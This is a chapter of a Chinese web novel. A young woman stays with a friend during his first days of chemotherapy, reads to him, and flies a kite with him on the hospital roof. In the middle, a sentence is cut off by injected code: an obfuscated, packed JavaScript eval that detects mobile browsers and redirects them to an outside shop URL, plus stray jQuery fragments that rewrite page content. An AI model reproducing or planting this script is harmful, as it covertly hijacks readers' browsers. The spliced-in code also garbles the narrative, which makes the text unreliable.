周三清晨，谢临洲在镇医院门口等苏晚禾。


    他穿着宽松的灰色运动服，左手腕上戴着住院腕带，右手拎着一个小小的行李包。


    天刚蒙蒙亮，晨风带着海水的咸湿气息，街上行人稀疏。


    苏晚禾从疗养院方向跑来，气喘吁吁地在他面前刹住车：“没、没迟到吧？”


    “没有。”谢临洲看了眼手表，“还早。”


    今天是他新化疗疗程的第一天，需要办理住院手续。


    苏晚禾昨天就跟王医生请了假，说要陪朋友一整天。


    “东西都带齐了吗？”她问。


    “齐了。”


    “书呢？”


    “带了。”


    “耳机？”


    “带了。”


    “毯子？”


    “带了。”谢临洲忍不住笑了，“你问得比我妈还细。”


    “那当然，我是你的......”苏晚禾卡壳了，想不出合适的词，“......陪护专员。”


    两人走进医院。


    住院部在五楼，肿瘤科病区。


    走廊里弥漫着消毒水的气味，护士站的电子屏上滚动着患者姓名和床号。


    谢临洲被安排在23床，靠窗。


    病房里还有两个患者，都是中年人，正在看早间新闻。


    “你先坐，我去办手续。”护士对谢临洲说，又看了眼苏晚禾，“家属？”


    “朋友。”苏晚禾说。


    “那麻烦你在外面等会儿，医生要查房。”


    苏晚禾点点头，退到走廊。


    她靠在墙边，看着护士进进出出，听着病房里隐约的交谈声。


    这里的空气比楼下更沉重，每个人脸上都带着相似的疲惫。


    半小时后，护士出来叫她：“可以进去了。”


    谢临洲已经换上了病号服，靠坐在床头。


    护士正在给他扎留置针，准备输液。


    针头刺进手背的血管时，他微微皱了下眉，但很快恢复平静。


    “今天先输保肝保胃的药，下午开始化疗药。”护士调整着滴速，“有什么不舒服及时说。”


    “好。”


    护士离开后，病房里安静下来。


    谢临洲闭上眼睛，似乎在休息。


    苏晚禾在床边的椅子上坐下，不知道该做什么。


    “你可以回去。”谢临洲闭着眼睛说。


    “我不。”


    “会很无聊。”


    “我不怕无聊。”


    谢临洲睁开眼看了看她，没再说话。


    输液持续了三个小时。


    苏晚禾从背包里掏出书，她特意带的一本海洋生物图鉴，想着谢临洲会喜欢。


    但她自己先看了起来，碰到有趣的地方就轻声读给他听。


    “你知道吗，章鱼有三个心脏。”


    “嗯。”


    “蓝鲸的舌头比一头大象还重。”


    “嗯。”


    “海豚睡觉时只有一半大脑休息，另一半保持警惕。”


    “嗯。”


    她读着读着，发现谢临洲呼吸变得均匀——他睡着了。


    苏晚禾放下书，看着他。


    睡着的谢临洲看起来更年轻，也更脆弱。


    睫毛在眼睑下投出浅浅的影子，嘴唇没什么血色。


    留置针的手背已经有些肿，皮肤透出青紫色的血管。


    她轻轻站起来，给他掖了掖被角。


    下午一点，化疗药开始输注。


    护士来交代注意事项：“可能会恶心、呕吐，如果吐了要及时清理。胃口不好也要尽量吃，可以少食多餐。”


    谢临洲点点头，表情平静，像是早就知道这些。


    药水滴得很慢，要持续四个小时。


    苏晚禾继续给他读书，但他精神明显差了，经常听着听着就闭上眼睛。


    三点左右，谢临洲第一次出现反应。


    他突然坐起来，脸色煞白，苏晚禾赶紧把垃圾桶递过去。


    他干呕了几声，没吐出什么，但额头上全是冷汗。


    “要叫护士吗？”苏晚禾紧张地问。


    “不用。”谢临洲声音沙哑，“正常的。”


    他重新躺下，闭着眼睛，胸口微微起伏。


    苏晚禾用湿毛巾给他擦汗，动作很轻。


    四点半，输液终于结束。


    护士拔掉针头，谢临洲的手背已经肿起一个包。


    “冰敷一下。”护士递来冰袋，“明天继续。”


    谢临洲用左手按住冰袋，右手无力地垂在床边。


    他看起来很累，连说话的力气都没有。


    “睡会儿吧。”苏晚禾轻声说。


    他点点头，闭上眼睛。


    苏晚禾坐在床边，看着窗外。


    天色渐渐暗下来，病房里开了灯。


    另外两个患者在看电视，音量调得很小。


    六点，谢临洲醒来。


    他看起来稍微好了些，但脸色依然苍白。


    “饿吗？”苏晚禾问。


    “不饿。”


    “多少吃点？”


    谢临洲摇摇头。


    苏晚禾还是从包里拿出保温桶，这是她趁着谢临洲睡觉的时候去买的。


    “就吃几口。”她把粥盛出来，“不吃东西会更难受。”


    谢临洲勉强坐起来，接过碗。


    他吃得很慢，像在完成什么艰难的任务。


    苏晚禾在旁边看着，心里难受，但脸上保持微笑。


    “好吃吗？”


    “嗯。”


    “那再吃两口。”


    谢临洲真的又吃了两口，然后放下碗：“饱了。”


    苏晚禾没再勉强。


    她收拾好碗筷，看了眼窗外已经完全暗下来的天色。


    “你该回去了。”谢临洲说。


    “还早。”


    “晚了不安全。”


    “我......”


    “回去吧。”谢临洲看着她，“明天再来。”


    苏晚禾咬了咬嘴唇，点点头：“那我明天早上来。”


    “好。”


    离开病房时，苏晚禾回头看了一眼。


    谢临洲靠坐在床头，看着窗外。


    病房的灯光在他脸上投下阴影，整个人显得很孤单。


    回到疗养院，苏晚禾直接去了厨房。


    张阿姨正在收拾，看见她，关切地问：“你朋友怎么样？”


    “不太好。”苏晚禾说，“化疗反应很大，吃不下东西。”


    “正常，都这样。”张阿姨叹了口气，“你明天还去？”


    “去。”


    “那我想想做什么容易入口的......”张阿姨想了想，“山药粥？或者蒸蛋羹？”


    “都行，谢谢阿姨。”


    第二天早上七点，苏晚禾带着山药粥到了医院。


    谢临洲看起来比昨天更差，眼下一片青黑。


    “没睡好？”她问。


    “嗯。”谢临洲简短地回答，“疼。”


    苏晚禾心里一紧，但没表现出来。


    她把粥倒出来：“先吃点东西，等下还要输液。”


    今天的流程和昨天一样，只是谢临洲的反应更严重了。


    输到一半时，他开始剧烈呕吐，把早上吃的粥全吐了出来。


    护士赶来处理，加了止吐药。


    苏晚禾在旁边帮忙，动作尽量轻柔。


    清理完毕，谢临洲虚弱地靠在床头，脸色白得像纸。


    “对不起。”他声音微弱。


    “说什么呢。”苏晚禾给他擦嘴，“这有什么好道歉的。”


    下午，谢临洲昏昏沉沉地睡着。


    苏晚禾坐在床边


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930148|192799||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，看着他因为疼痛而紧皱的眉头，心里像压了块石头。


    她突然站起来，走出病房。


    在医院的小卖部，她买了一个最便宜的风筝，塑料的，印着卡通图案，五块钱。


    回到病房时，谢临洲醒了，正看着天花板发呆。


    “我们出去透透气。”苏晚禾说。


    “去哪儿？”


    “天台。”


    天台风很大，视野开阔。


    能看见远处的海，和更远处的灯塔。


    空气里有阳光和风的味道，比病房里清爽得多。


    苏晚禾展开风筝，系好线。


    “你要放风筝？”谢临洲有些惊讶。


    “嗯。”苏晚禾说，“我小时候听奶奶说，风筝飞得越高，病就好得越快。”


    “迷信。”


    “管他呢。”苏晚禾把线轴递给他，“试试？”


    谢临洲接过线轴。


    苏晚禾拿着风筝跑到天台另一边，风吹起她的头发。


    “跑！”她喊。


    谢临洲松开线，苏晚禾迎着风跑起来。


    风筝摇摇晃晃地升起，越飞越高。


    她跑回他身边，两人一起看着那个小小的彩色风筝在蓝天里飘荡。


    “要许愿吗？”苏晚禾问。


    “许什么？”


    “希望病快点好。”


    谢临洲沉默地看着风筝。


    风吹过，他的病号服被吹得贴在身上，显得更加单薄。


    “希望吧。”他轻声说。


    风筝在天上飞了十几分钟，线快放完了。


    苏晚禾接过线轴，开始收线。


    就在这时，一阵强风吹过，线突然断了。


    风筝在空中翻滚了几下，然后被风带着，越飘越远，最后变成一个小点，消失在远处的天际。


    “啊......”苏晚禾失望地看着空空的线轴。


    谢临洲却笑了。


    那是苏晚禾第一次看见他笑得这么轻松。


    “飞走了。”他说。


    “对不起，我......”


    “挺好的。”谢临洲打断她，“像自由了。”


    他们又在天台上站了一会儿。


    风很大，吹得人几乎站不稳，但谢临洲的脸色似乎好了一些。


    “该回去了。”他说，“护士该找我了。”


    “嗯。”


    回到病房，果然护士正在找他。


    “去哪儿了？该吃药了。”


    “天台透透气。”谢临洲说。


    护士看了他一眼，又看看苏晚禾，没说什么，把药递过来。


    那天晚上，苏晚禾离开医院时，谢临洲对她说：“明天别来了。”


    “为什么？”


    “太辛苦了。”谢临洲说，“而且......不好看。”


    “什么不好看？”


    “我现在的样子。”


    苏晚禾愣住。


    她看着谢临洲苍白的脸，突然明白他在说什么。


    “我不在乎。”她说。


    “但我在乎。”


    两人对视着。


    最后苏晚禾妥协了：“那我隔一天来一次。”


    “好。”


    离开医院，苏晚禾没有直接回疗养院。


    她走到海边，坐在堤坝上，看着远处的灯塔。


    风筝断线飞走的那一幕在她脑子里反复播放。


    谢临洲说，像自由了。


    她突然很想哭，但忍住了。


    海浪拍打着堤岸，哗啦，哗啦。


    一下，又一下。


    像在说什么，又像什么都没说。


    她坐了很久，直到夜色完全降临。


    起身时，她对着大海轻声说：“快点好起来。”


    风把这句话吹散了。


    但她相信，有人听见了。